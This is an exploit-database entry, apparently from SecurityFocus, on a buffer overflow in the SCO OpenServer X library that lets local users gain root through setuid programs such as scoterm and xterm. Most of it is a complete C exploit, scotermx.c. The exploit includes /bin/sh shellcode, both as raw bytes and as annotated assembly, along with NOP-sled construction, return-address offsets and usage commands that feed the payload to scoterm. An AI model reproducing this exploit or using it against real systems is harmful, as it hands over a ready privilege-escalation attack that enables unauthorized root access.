SCO Open Server 5.0.5 X Library Buffer Overflow Vulnerability (2)

                                                source: http://www.securityfocus.com/bid/638/info
 
A buffer overflow vulnerability in the shared X library may allows local users to obtain higher privileges. Any setuid applications linked against the library are possibly vulnerable. The vulnerability is in the handling of the '-bg' command line parameter.
 
 
Setuid root applications known to be vulnerable inclue xload, xmcd, xterm, and scoterm.
 
Setuid bin applications known to be vulnerable include scosession. 

/*
 * <scotermx.c> Local root exploit 
 *
 * Offset: scoterm (SCO OpenServer 5.0.4)
 * 0 -> From an open scoterm (without display parameter)
 * 2500 -> From remote telnet (with display parameter)
 *
 * Usage: 
 * $ cc scotermx.c -o scotermx
 * $ scoterm 
 * $ /usr/bin/X11/scoterm -geometry `scotermx 0`
 *                      or
 * $ /usr/bin/X11/scoterm -display 1.1.1.1:0 -geometry `scotermx 2500`
 *
 * Note: scoterm need to be run from a valid x-display
 *
 * By: The Dark Raver of CPNE (Murcia/Spain - 21/6/99) 
 *
 * <http://members.tripod.com/~ochodedos> - <[email protected]>
 *
 */ 


#include <stdlib.h>
#include <stdio.h>


char hell[]=
"\xeb\x1b\x5e\x31\xdb\x89\x5e\x07\x89\x5e\x0c\x88\x5e\x11\x31\xc0"
"\xb0\x3b\x8d\x7e\x07\x89\xf9\x53\x51\x56\x56\xeb\x10\xe8\xe0\xff"
"\xff\xff/bin/sh\xaa\xaa\xaa\xaa\x9a\xaa\xaa\xaa\xaa\x07\xaa";

/*
char hell[]=
"\xeb\x1b" // start: jmp uno 
"\x5e" // dos: popl %esi
"\x31\xdb" // xorl %ebx,%ebx
"\x89\x5e\x07" // movb %bl,0x7(%esi)
"\x89\x5e\x0c" // movl %ebx,0x0c(%esi)
"\x88\x5e\x11" // movb %bl,0x11(%esi)
"\x31\xc0" // xorl %eax,%eax
"\xb0\x3b" // movb $0x3b,%al
"\x8d\x7e\x07" // leal 0x07(%esi),%edi
"\x89\xf9" // movl %edi,%ecx
"\x53" // pushl %ebx
"\x51" // pushl %ecx
"\x56" // pushl %esi
"\x56" // pushl %esi
"\xeb\x10" // jmp execve
"\xe8\xe0\xff\xff\xff" // uno: call dos
"/bin/sh"
"\xaa\xaa\xaa\xaa"
"\x9a\xaa\xaa\xaa\xaa\x07\xaa"; // execve: lcall 0x7,0x0 
*/

                       
#define OFF 0x80452ff   // SCO OpenServer 5.0.4
#define ALINEA 1
#define LEN 2000
                       

int main(int argc, char *argv[]) {

int offset=0;
char buf[LEN];
int i;

if(argc < 2) {
        printf("Usage: scotermx <offset>\n"); 
        exit(0); }
else {
        offset=atoi(argv[1]); }

memset(buf,0x90,LEN);
memcpy(buf+1000,hell,strlen(hell));
for(i=1100+ALINEA;i<LEN-4;i+=4)
        *(int *)&buf[i]=OFF+offset;

for(i=0;i<LEN;i++)
        putchar(buf[i]);
        
exit(0);        
}